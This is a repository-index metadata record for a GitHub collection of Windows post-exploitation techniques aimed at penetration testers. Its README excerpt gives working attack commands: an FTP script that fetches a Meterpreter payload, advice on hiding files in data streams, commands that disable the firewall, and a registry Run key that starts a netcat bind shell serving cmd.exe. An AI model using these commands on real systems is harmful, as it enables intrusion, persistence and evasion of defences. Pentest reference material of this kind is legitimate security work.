{"repo":"emilyanncr/Windows-Post-Exploitation","free":true,"listed":false,"github":"https://github.com/emilyanncr/Windows-Post-Exploitation","clone":"git clone https://github.com/emilyanncr/Windows-Post-Exploitation.git","description":"Windows post-exploitation tools, resources, techniques and commands to use during post-exploitation phase of penetration test. Contributions are appreciated. Enjoy!","language":null,"stars":544,"topics":["post-exploitation","exploiting-windows","command-line","hacking","ethical-hacking","hacking-tool"],"license":null,"category":"cli-tools","readme_excerpt":"Awesome Windows Post Exploitation Your contributions and suggestions are heartily♥ welcome. (✿◕‿◕). Please check the Contributing Guidelines for more details. This work is licensed under a Creative Commons Attribution 4.0 International License. This repo houses a multitude of articles and tools relating to the post exploitation of Windows machines. Included is a complete list of commands to use once an OS shell has been established and you're unable to use meterpreter for whatever reason. ftp commands.txt echo anonymous ftp commands.txt echo blah ftp commands.txt echo binary ftp commands.txt echo get met8888.exe ftp commands.txt echo bye ftp commands.txt Instead of ftp commands.txt, use a unique name, hide the file in a datastream, or hide the file in the folder. aka don't be obvi Query state of Firewall, Disable Firewall, Allow a Service Through Query state of firewall : netsh firewall show state Disable firewall netsh.exe firewall set opmode mode=disable profile=all Allow service through firewall netsh.exe firewall set portopening tcp 123 MYSERVICE enable all netsh.exe firewall set allowedprogram C:\\MYPROGRAM.exe HKLM\\\\software\\\\microsoft\\\\windows\\\\ currentversion\\\\run –d ‘C:\\windows\\system32\\nc.exe -Ldp 4444 -e cmd.exe’ –v netcat netsh firewall set allowedprogram c:\\nc.exe allow nc ENABLE Query current user and privilege information whoami whoami /all whoami /user whoami /groups whoami /priv [Users] net users: list users For more info on a user : net user (for local user) ","default_branch":null,"files":null,"tree":[],"storefront":"/r/emilyanncr","claimed":false,"request_supported":{"post":"https://gitbuyer.com/r/emilyanncr/Windows-Post-Exploitation/request-supported","requests":0},"note":"indexed from public GitHub; nothing is for sale on this page. Clone it from GitHub. Paid listings live at /search."}